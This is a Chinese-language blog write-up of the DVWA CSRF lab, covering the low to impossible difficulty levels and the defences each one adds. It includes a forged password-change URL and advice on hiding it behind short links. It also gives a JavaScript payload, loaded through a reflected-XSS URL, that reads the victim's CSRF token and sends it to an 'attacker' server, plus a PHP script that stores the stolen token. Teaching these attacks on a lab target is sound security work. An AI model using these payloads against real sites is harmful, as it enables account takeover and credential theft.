DVWA之CSRF漏洞

DVWA之CSRF漏洞

​ CSRF知识相关可以看我下面这篇博客:CSRF详解 - 三木森林 - 博客园 (cnblogs.com)

Low难度

​ 该界面如下所示:

​ 为了尽可能地模拟真实地CSRF漏洞利用,我们先假定这样一种情况,本界面是在用户A登录后的某合法网站,可能是社交,可能是银行网站。用户A已经提交了账号密码进入了本站点。这是他修改密码地界面。

​ 这时候我是黑客HackB,想要窃取他在这个合法网站上的账号。这就是本题目所假定地情况。

​ 我们先在自己的修改密码的站点测试一下。

​ 发现本界面是直接用GET请求来修改的账户密码。

​ 那就比较简单了,黑客B就伪造了这样了的一个urlhttp://192.168.235.130/DVWA-master/vulnerabilities/csrf/?password_new=abcdef&password_conf=abcdef&Change=Change#

​ 这个url中的地址为用户A的地址。只要用户A自己点击了这个url,那么A的密码就会修改为HackB想要修改的密码,abcdef。但是这个url有点过于明显了。用户A可能稍微警觉一点就不会点。所以我们可以用短链接伪装一下。

​ 得到这个链接,http://t.cn/A6i8jDL3

​ 甚至还可以再伪装一下点这里

​ 放在一个可能吸引到用户A的地方,如用户A看得到的某论坛等,而此时用户A的cookie也还没过期,那一点击这个url,我们的攻击就成功了。

​ 点击后

​ 显示为404,但是已经没用了用户A的密码已经被改了,而用户A这个时候还不一定知道。

Medium难度

​ 此时网站加强了防御,加上了对referer字段的验证。也就是http报文段的referer字段需要再同域名下,这个时候HackB就不能将上面那个url放在任何地方了,他需要在同网站下放入那个超链接,并且吸引用户A点击。

High难度

其实也是反射型xss利用的一个实例

​ high难度采用了新机制,也就是对token进行验证,关于token我的博客有介绍:session、cookie和token的区别 - 三木森林 - 博客园 (cnblogs.com)所以我们必须要先拿到用户A的token。

​ 那么在这个时候得连同xss漏洞连同使用。

思路是这样的,构造一个带链接的恶意脚本放置于网站内部,而且要用容易触发的事件触发器(前提是该站点是有XSS漏洞的)。

首先,假如我们在本网站下找到了一个XSS漏洞点(DVWA站点下的low难度的XSS(Reflected),是一个搜索输入信息的点),然后构造我们的XSS语句

该语句要调用我们存储在我们的恶意服务器上的JS文件,我们先将其写出来

//hacker.js代码
var img = new Image();
img.src = "http://192.168.235.130/hack.php?q="+frames[0].document.getElementsByName(‘user_token’)[0].value;
document.body.append(img);

这个js代码我们是存储在恶意服务器上的http://192.168.235.130/hackr.js

再构造我们的恶意url,这个url在用户点击之后就会执行我们利用XSS的恶意脚本。

http://192.168.235.130/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://192.168.235.130/hackr.js"></script>#

该js文件会对恶意服务器发送请求,并传送相应参数,这是恶意服务器端后台代码,存储在http://192.168.235.130/hack.php位置

<?php
$token = $_GET['q'];
var_dump($token);
$myfile = "token.txt";
file_put_contents($myFile,$token);
?>

然后我们再伪装一下上面那个url就可以,或是换成短链接或者什么的。就可以完成以上步骤了。

注:hacke.php和hacker.js是我们自己写的文件

在完成上述步骤,最后会在服务器端生成一个token文件,里面的token就是我们需要的token。拿到了token我们就需要可以带上token用meidum难度的方法进行CSRF攻击了。

Impossible难度

这种难度其实就是一个很好的防御方法示例了。

在该难度中,不仅有token还需要输入源密码。

这样,在不知道原密码的情况下就无法构造参数了

posted @ 2022-02-13 01:26  三木森林  阅读(579)  评论(0编辑  收藏  举报